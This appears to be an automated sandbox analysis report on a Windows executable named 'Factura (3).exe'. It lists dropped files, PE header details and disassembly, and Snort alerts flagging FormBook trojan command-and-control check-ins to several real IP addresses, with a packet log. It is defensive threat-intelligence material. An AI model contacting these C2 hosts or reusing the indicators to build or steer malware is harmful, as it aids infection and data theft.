File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mcqinub3.fca.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_n552dnwt.jhp.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pqnvmwe4.tut.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rh4k1zuz.fj5.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zz3a51ni.ow5.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\file-22993.putik

Process:	C:\Users\user\Desktop\Factura (3).exe
File Type:	data
Category:	dropped
Size (bytes):	21008
Entropy (8bit):	7.991553194087344
Encrypted:	true
SSDEEP:	384:O8bV5GYbvtlFXu7HN159ELb0t6Es95HTqJLpdQ+lzK1cF3z81FBYlr:bbGq1lYN159E/DAJd/42Fdr
MD5:	E39D3EA68036A023080210317A6674A7
SHA1:	77CD37A9D2F87699C64B305AD1399C360FA71C58
SHA-256:	D14365650DA0D9D96A3AEF7C07D7B191AA987615ED67EAB3F6C55BAC7D79FCAA
SHA-512:	D4766E9C79CE413B2FA93D3EB2B9F3F806A5DB706B8959F420A9A7B0FC6AB1ED6634916EC3C0C2421DD504BD2152490A1273CEA80D586F516A9A08D79315384B
Malicious:	false
Preview:	9b.]i.HRe.i........mO..I.l..if............c....\|....c".....rz6.s.....0../E".^..B.q....`.8)..\.9q.....wQ.4qy..R.....eg.....D.;..A..gV7/.=c.j.tw..Qv..P~.C.}%.d...@.L..j.x...}3..#9I.R0.0N?..]...u...4.4...9(...C_..X.....n...v...(?.;.3~d'..J...j.?.../\.."L>K.>...xi.t..........G.B&.\.C.4:yvG....^.@..4.\|bG.v.yv.F.P=.4.....S...O...o.+..x..f.....c..k..>.....q..z.....`..../.B...'.........s._..)...._. :.Yi6.kP.Zy.)....0.W.#..]d.,'.$p...,a...p4......'.w/......B..-.A.J.{.r.S...O.......p.35........].........S..\|.9.+9.V...~c.MHw..y".R.FvwG:..I....yc..F..}b.'.Yl5.i....M.$'.d..(......!.............p...$.^.6..L.e...,f.%..~].o.K.^..@O}....ts.22......#.._..lrssl....5"......Y.....Mn=:L.~...#.v.:.n....I..[7Q.~......c+.!...!K7..k.*.q.5.-......`Ob.6._.Ux.2.'>yk.^..IS.".T..$.f..3x...\....B6E..(K..&h.4x.....O...K].c..D... ..n..~..6.#.t.....mi...8B2..D...RF.VS.....8.d)y\|X..b....w.7...4R..v.W[.AlI..^.b..t.G..=.R...k3.o........s4L......R...F.p.F....e...

C:\Windows\appcompat\Programs\Amcache.hve

Process:	C:\Windows\System32\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.394804600876613
Encrypted:	false
SSDEEP:	6144:6l4fiJoH0ncNXiUjt10qCG/gaocYGBoaUMMhA2NX4WABlBuNAbOBSqa:q4vFCMYQUMM6VFYSbU
MD5:	E4CD9858665E449E1D3F58639AB7A117
SHA1:	CECC02C723D89F6E8811D41B1DF24472C2E8D3A0
SHA-256:	D66F4C2A006BBC8385D4DA097D7A9BC4733DA7C4D5A522ED6846A46D939F845D
SHA-512:	10E0EB57FDF06A5623BD11097DD7D5D5440A86CCF691C0F26641C0E3008532B7573A57029290B12EFB31AE68417AFD8DAB95DD80C3A58F32740CA1F4943966DC
Malicious:	false
Preview:	regfG...G....\.Z.................... ....`......\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm...H.................................................................................................................................................................................................................................................................................................................................................F.\|........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

\Device\ConDrv

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (696), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	8552
Entropy (8bit):	5.34468812107699
Encrypted:	false
SSDEEP:	96:OMxSVrwxSVCxSYxSuBI0jzlVlVlVA5xSOGRRRCuVUC72mA:OLr/aDDDA1GRRRCuVUC72mA
MD5:	4BCC2E6BA6CEED46BFBE863E223ECC28
SHA1:	4F0BD3943A5B51F0BF452248A53D38F79DA11BBC
SHA-256:	96DABE0B10B682FB76C274B3BD0A40FB0B9B6B8FF702A392C4751F55E32FF039
SHA-512:	BC7763DA47A5B772B5D0F4B9F8016FC0156FCA8E16EE682B9F97B7BBA94F395DC35D5C3533DF4AF0270089D0FB499553D68B9A6519C356A4FE4C995CD01970C3
Malicious:	false
Preview:	.Unhandled Exception: System.Reflection.TargetInvocationException: Exception has been thrown by the target of an invocation. ---> System.Reflection.TargetInvocationException: Exception has been thrown by the target of an invocation. ---> System.Reflection.TargetInvocationException: Exception has been thrown by the target of an invocation. ---> System.Reflection.TargetInvocationException: Exception has been thrown by the target of an invocation. ---> System.Reflection.TargetInvocationException: Exception has been thrown by the target of an invocation. ---> System.AccessViolationException: Attempted to read or write protected memory. This is often an indication that other memory is corrupt... at _SA._RB(String , String , IntPtr , IntPtr , Boolean , UInt32 , IntPtr , String , IntPtr , IntPtr ).. --- End of inner exception stack trace ---.. at System.RuntimeMethodHandle.InvokeMethod(Object target, Object[] arguments, Signature sig, Boolean constructor).. at System.Reflection.Runtim

Static File Info

General

File type:	PE32+ executable (console) x86-64, for MS Windows
Entropy (8bit):	7.404079699333802
TrID:	Win64 Executable Console (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Factura (3).exe
File size:	1'034'668 bytes
MD5:	367f6a9b9b00f860281fe3865a0d33f0
SHA1:	b82f862d256fd63ceb31982178b35f31670a13d3
SHA256:	0b5726f67e41a222543e4bc949db567350231b5dd0c791d72ce2005e0a5af704
SHA512:	d707ad47a974e55f8f7cc91969af01c22aa6ab758c41320b9f93398e3ff1cb5b26e64e74ed979c1b2939e1ce252278e18186a9b6e60ebc54634d58f07a2fc392
SSDEEP:	12288:42hb+TTZEcmgH5KqlyUNbG1pxUz5i9SkO0a5t35kZUh1EEREmbm/8b+miXnsJ9nI:4ab+hHQqqwzI9yJkZA4ECmmsJpaWA
TLSH:	E025E041B7AC54F4D4B7D1388982650AFBA17C568360DBDB67A04A5B1F236E0BD3EF80
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......cz..'.h.'.h.'.h.lck.!.h.lcm...h.lcl.7.h.'.h.&.h.lci.$.h.'.i.D.h.!.l.7.h.!.k.5.h.!.m.u.h.I.m.&.h.I.j.&.h.Rich'.h................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x140017cec
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x6644A30B [Wed May 15 11:56:59 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	daf5c93667eaae2edfeefaa93a963f14

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007F580C7D2B94h
dec eax
add esp, 28h
jmp 00007F580C7D2357h
int3
int3
retn 0000h
int3
dec eax
mov dword ptr [esp+10h], ebx
dec eax
mov dword ptr [esp+18h], esi
push edi
dec eax
sub esp, 10h
xor eax, eax
xor ecx, ecx
cpuid
inc esp
mov eax, ecx
inc ebp
xor ebx, ebx
inc esp
mov edx, edx
inc ecx
xor eax, 6C65746Eh
inc ecx
xor edx, 49656E69h
inc esp
mov ecx, ebx
mov esi, eax
xor ecx, ecx
inc ecx
lea eax, dword ptr [ebx+01h]
inc ebp
or edx, eax
cpuid
inc ecx
xor ecx, 756E6547h
mov dword ptr [esp], eax
inc ebp
or edx, ecx
mov dword ptr [esp+04h], ebx
mov edi, ecx
mov dword ptr [esp+08h], ecx
mov dword ptr [esp+0Ch], edx
jne 00007F580C7D253Dh
dec eax
or dword ptr [00049BBBh], FFFFFFFFh
and eax, 0FFF3FF0h
dec eax
mov dword ptr [00049BA3h], 00008000h
cmp eax, 000106C0h
je 00007F580C7D250Ah
cmp eax, 00020660h
je 00007F580C7D2503h
cmp eax, 00020670h
je 00007F580C7D24FCh
add eax, FFFCF9B0h
cmp eax, 20h
jnbe 00007F580C7D2506h
dec eax
mov ecx, 00010001h
add dword ptr [eax], eax
add byte ptr [eax], al
dec eax
bt ecx, eax
jnc 00007F580C7D24F6h
inc esp
mov eax, dword ptr [0004B31Dh]
inc ecx
or eax, 01h
inc esp
mov dword ptr [0000B312h], eax

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x4bb14	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x65000	0x31f8	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x6a000	0x9f0	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x47580	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x47440	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x3c000	0x2b8	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x3a648	0x3a800	ae79005d0d0fe176d53e781e1de1ba8b	False	0.477672609508547	data	6.276966423924579	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x3c000	0x10432	0x10600	c72f5d85e22764ad342862f4abc84204	False	0.4201306059160305	data	4.882588498752784	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x4d000	0x17344	0x15c00	a5e6c6566cb836c90c4e7d663abe1255	False	0.37567349137931033	Matlab v4 mat-file (little endian) i, sparse, rows 57, columns 98, imaginary	2.842031074961108	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x65000	0x31f8	0x3200	1e318cfae4f5a3e57b915ec4ed79f33d	False	0.476953125	data	5.5240758223981326	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
_RDATA	0x69000	0x1f4	0x200	ada42deae2bad26d862984b105b86738	False	0.505859375	data	4.191034655991663	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x6a000	0x9f0	0xa00	5835deba7f19304c1a5e65eb7496ff47	False	0.511328125	data	5.426763089037067	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Imports

DLL

Import

KERNEL32.dll

GetLastError, GetModuleHandleA, GetProcAddress, WideCharToMultiByte, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionEx, DeleteCriticalSection, EncodePointer, DecodePointer, MultiByteToWideChar, LCMapStringEx, GetStringTypeW, GetCPInfo, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, IsDebuggerPresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStartupInfoW, IsProcessorFeaturePresent, GetModuleHandleW, GetCurrentProcess, TerminateProcess, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, SetEndOfFile, RtlPcToFileHeader, RaiseException, RtlUnwindEx, SetLastError, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, LoadLibraryExW, ExitProcess, GetModuleHandleExW, GetModuleFileNameW, GetStdHandle, WriteFile, GetCommandLineA, GetCommandLineW, HeapAlloc, HeapFree, FlsAlloc, FlsGetValue, FlsSetValue, FlsFree, CompareStringW, LCMapStringW, GetLocaleInfoW, IsValidLocale, GetUserDefaultLCID, EnumSystemLocalesW, GetFileType, CloseHandle, FlushFileBuffers, GetConsoleOutputCP, GetConsoleMode, ReadFile, GetFileSizeEx, SetFilePointerEx, ReadConsoleW, HeapReAlloc, FindClose, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetEnvironmentVariableW, GetProcessHeap, SetStdHandle, CreateFileW, HeapSize, WriteConsoleW, RtlUnwind

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
05/16/24-17:19:27.047625	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49722	80	192.168.2.9	57.151.38.169
05/16/24-17:21:43.322537	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49747	80	192.168.2.9	199.59.243.225
05/16/24-17:19:56.497938	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49730	80	192.168.2.9	217.160.0.111
05/16/24-17:20:28.696791	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49736	80	192.168.2.9	162.0.237.22
05/16/24-17:21:12.951995	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49742	80	192.168.2.9	103.168.172.37
05/16/24-17:19:19.363164	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49719	80	192.168.2.9	57.151.38.169
05/16/24-17:21:22.633918	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49744	80	192.168.2.9	104.37.39.71
05/16/24-17:18:46.331711	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49713	80	192.168.2.9	3.33.130.190
05/16/24-17:19:21.898890	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49720	80	192.168.2.9	57.151.38.169
05/16/24-17:20:03.048420	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49731	80	192.168.2.9	91.195.240.123
05/16/24-17:19:51.432033	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49728	80	192.168.2.9	217.160.0.111
05/16/24-17:19:06.306804	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49716	80	192.168.2.9	162.241.216.140
05/16/24-17:21:04.300154	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49739	80	192.168.2.9	103.168.172.37
05/16/24-17:20:10.669912	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49734	80	192.168.2.9	91.195.240.123
05/16/24-17:21:51.276734	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49750	80	192.168.2.9	199.59.243.225
05/16/24-17:20:26.161324	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49735	80	192.168.2.9	162.0.237.22
05/16/24-17:21:06.836740	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49740	80	192.168.2.9	103.168.172.37
05/16/24-17:19:34.590843	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49723	80	192.168.2.9	162.241.216.140
05/16/24-17:21:27.714376	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49746	80	192.168.2.9	104.37.39.71
05/16/24-17:20:33.776360	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49738	80	192.168.2.9	162.0.237.22
05/16/24-17:19:03.768347	TCP	2856318	ETPRO TROJAN FormBook CnC Checkin (POST) M4	49714	80	192.168.2.9	162.241.216.140
05/16/24-17:19:42.203635	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49726	80	192.168.2.9	162.241.216.140
05/16/24-17:21:20.106505	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49743	80	192.168.2.9	104.37.39.71
05/16/24-17:19:03.768347	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49714	80	192.168.2.9	162.241.216.140
05/16/24-17:20:05.587966	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49732	80	192.168.2.9	91.195.240.123
05/16/24-17:21:45.851510	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49748	80	192.168.2.9	199.59.243.225
05/16/24-17:19:11.367879	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49718	80	192.168.2.9	162.241.216.140
05/16/24-17:19:37.117289	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49724	80	192.168.2.9	162.241.216.140
05/16/24-17:19:48.469305	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49727	80	192.168.2.9	217.160.0.111

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 16, 2024 17:18:46.324276924 CEST	49713	80	192.168.2.9	3.33.130.190
May 16, 2024 17:18:46.329226971 CEST	80	49713	3.33.130.190	192.168.2.9
May 16, 2024 17:18:46.329325914 CEST	49713	80	192.168.2.9	3.33.130.190
May 16, 2024 17:18:46.331711054 CEST	49713	80	192.168.2.9	3.33.130.190
May 16, 2024 17:18:46.380167007 CEST	80	49713	3.33.130.190	192.168.2.9
May 16, 2024 17:18:48.392440081 CEST	80	49713	3.33.130.190	192.168.2.9
May 16, 2024 17:18:48.435635090 CEST	49713	80	192.168.2.9	3.33.130.190
May 16, 2024 17:18:48.696089983 CEST	80	49713	3.33.130.190	192.168.2.9
May 16, 2024 17:18:48.696387053 CEST	49713	80	192.168.2.9	3.33.130.190
May 16, 2024 17:18:48.697690010 CEST	49713	80	192.168.2.9	3.33.130.190
May 16, 2024 17:18:48.751924038 CEST	80	49713	3.33.130.190	192.168.2.9
May 16, 2024 17:19:03.761560917 CEST	49714	80	192.168.2.9	162.241.216.140
May 16, 2024 17:19:03.766444921 CEST	80	49714	162.241.216.140	192.168.2.9
May 16, 2024 17:19:03.766522884 CEST	49714	80	192.168.2.9	162.241.216.140
May 16, 2024 17:19:03.768347025 CEST	49714	80	192.168.2.9	162.241.216.140
May 16, 2024 17:19:03.819943905 CEST	80	49714	162.241.216.140	192.168.2.9
May 16, 2024 17:19:05.125972033 CEST	80	49714	162.241.216.140	192.168.2.9
May 16, 2024 17:19:05.170070887 CEST	49714	80	192.168.2.9	162.241.216.140
May 16, 2024 17:19:05.279503107 CEST	49714	80	192.168.2.9	162.241.216.140
May 16, 2024 17:19:06.299604893 CEST	49716	80	192.168.2.9	162.241.216.140
May 16, 2024 17:19:06.304570913 CEST	80	49716	162.241.216.140	192.168.2.9
May 16, 2024 17:19:06.304650068 CEST	49716	80	192.168.2.9	162.241.216.140
May 16, 2024 17:19:06.306803942 CEST	49716	80	192.168.2.9	162.241.216.140
May 16, 2024 17:19:06.356061935 CEST	80	49716	162.241.216.140	192.168.2.9
May 16, 2024 17:19:07.694478989 CEST	80	49716	162.241.216.140	192.168.2.9
May 16, 2024 17:19:07.694504976 CEST	80	49716	162.241.216.140	192.168.2.9
May 16, 2024 17:19:07.694731951 CEST	49716	80	192.168.2.9	162.241.216.140
May 16, 2024 17:19:07.810813904 CEST	49716	80	192.168.2.9	162.241.216.140
May 16, 2024 17:19:08.829400063 CEST	49717	80	192.168.2.9	162.241.216.140
May 16, 2024 17:19:08.834475040 CEST	80	49717	162.241.216.140	192.168.2.9
May 16, 2024 17:19:08.834553003 CEST	49717	80	192.168.2.9	162.241.216.140
May 16, 2024 17:19:08.836431980 CEST	49717	80	192.168.2.9	162.241.216.140
May 16, 2024 17:19:08.843250990 CEST	80	49717	162.241.216.140	192.168.2.9
May 16, 2024 17:19:08.894784927 CEST	80	49717	162.241.216.140	192.168.2.9
May 16, 2024 17:19:09.538666964 CEST	80	49717	162.241.216.140	192.168.2.9
May 16, 2024 17:19:09.591913939 CEST	49717	80	192.168.2.9	162.241.216.140
May 16, 2024 17:19:09.848310947 CEST	80	49717	162.241.216.140	192.168.2.9
May 16, 2024 17:19:09.848371983 CEST	49717	80	192.168.2.9	162.241.216.140
May 16, 2024 17:19:10.342015028 CEST	49717	80	192.168.2.9	162.241.216.140
May 16, 2024 17:19:11.361006975 CEST	49718	80	192.168.2.9	162.241.216.140
May 16, 2024 17:19:11.366080046 CEST	80	49718	162.241.216.140	192.168.2.9
May 16, 2024 17:19:11.366169930 CEST	49718	80	192.168.2.9	162.241.216.140
May 16, 2024 17:19:11.367878914 CEST	49718	80	192.168.2.9	162.241.216.140
May 16, 2024 17:19:11.416141033 CEST	80	49718	162.241.216.140	192.168.2.9
May 16, 2024 17:19:12.440829039 CEST	80	49718	162.241.216.140	192.168.2.9
May 16, 2024 17:19:12.482573986 CEST	49718	80	192.168.2.9	162.241.216.140
May 16, 2024 17:19:12.733263969 CEST	80	49718	162.241.216.140	192.168.2.9
May 16, 2024 17:19:12.733428001 CEST	49718	80	192.168.2.9	162.241.216.140
May 16, 2024 17:19:14.233988047 CEST	49718	80	192.168.2.9	162.241.216.140
May 16, 2024 17:19:14.239041090 CEST	80	49718	162.241.216.140	192.168.2.9
May 16, 2024 17:19:19.353404045 CEST	49719	80	192.168.2.9	57.151.38.169
May 16, 2024 17:19:19.358443975 CEST	80	49719	57.151.38.169	192.168.2.9
May 16, 2024 17:19:19.358586073 CEST	49719	80	192.168.2.9	57.151.38.169
May 16, 2024 17:19:19.363163948 CEST	49719	80	192.168.2.9	57.151.38.169
May 16, 2024 17:19:19.412175894 CEST	80	49719	57.151.38.169	192.168.2.9
May 16, 2024 17:19:20.155518055 CEST	80	49719	57.151.38.169	192.168.2.9
May 16, 2024 17:19:20.201375961 CEST	49719	80	192.168.2.9	57.151.38.169
May 16, 2024 17:19:20.474569082 CEST	80	49719	57.151.38.169	192.168.2.9
May 16, 2024 17:19:20.474647045 CEST	49719	80	192.168.2.9	57.151.38.169
May 16, 2024 17:19:20.873369932 CEST	49719	80	192.168.2.9	57.151.38.169
May 16, 2024 17:19:21.891849041 CEST	49720	80	192.168.2.9	57.151.38.169
May 16, 2024 17:19:21.896855116 CEST	80	49720	57.151.38.169	192.168.2.9
May 16, 2024 17:19:21.896995068 CEST	49720	80	192.168.2.9	57.151.38.169
May 16, 2024 17:19:21.898890018 CEST	49720	80	192.168.2.9	57.151.38.169
May 16, 2024 17:19:21.948046923 CEST	80	49720	57.151.38.169	192.168.2.9
May 16, 2024 17:19:23.406748056 CEST	49720	80	192.168.2.9	57.151.38.169
May 16, 2024 17:19:23.435662985 CEST	80	49720	57.151.38.169	192.168.2.9
May 16, 2024 17:19:23.435767889 CEST	49720	80	192.168.2.9	57.151.38.169
May 16, 2024 17:19:24.479079962 CEST	49721	80	192.168.2.9	57.151.38.169
May 16, 2024 17:19:24.484056950 CEST	80	49721	57.151.38.169	192.168.2.9
May 16, 2024 17:19:24.484157085 CEST	49721	80	192.168.2.9	57.151.38.169
May 16, 2024 17:19:24.486053944 CEST	49721	80	192.168.2.9	57.151.38.169
May 16, 2024 17:19:24.490938902 CEST	80	49721	57.151.38.169	192.168.2.9
May 16, 2024 17:19:24.552165031 CEST	80	49721	57.151.38.169	192.168.2.9
May 16, 2024 17:19:25.999231100 CEST	49721	80	192.168.2.9	57.151.38.169
May 16, 2024 17:19:26.005398989 CEST	80	49721	57.151.38.169	192.168.2.9
May 16, 2024 17:19:26.005453110 CEST	49721	80	192.168.2.9	57.151.38.169
May 16, 2024 17:19:27.017941952 CEST	49722	80	192.168.2.9	57.151.38.169
May 16, 2024 17:19:27.023000956 CEST	80	49722	57.151.38.169	192.168.2.9
May 16, 2024 17:19:27.023128986 CEST	49722	80	192.168.2.9	57.151.38.169
May 16, 2024 17:19:27.047625065 CEST	49722	80	192.168.2.9	57.151.38.169
May 16, 2024 17:19:27.075915098 CEST	80	49722	57.151.38.169	192.168.2.9
May 16, 2024 17:19:29.256321907 CEST	80	49722	57.151.38.169	192.168.2.9
May 16, 2024 17:19:29.310789108 CEST	49722	80	192.168.2.9	57.151.38.169
May 16, 2024 17:19:29.562824965 CEST	80	49722	57.151.38.169	192.168.2.9
May 16, 2024 17:19:29.562972069 CEST	49722	80	192.168.2.9	57.151.38.169
May 16, 2024 17:19:29.569169998 CEST	49722	80	192.168.2.9	57.151.38.169
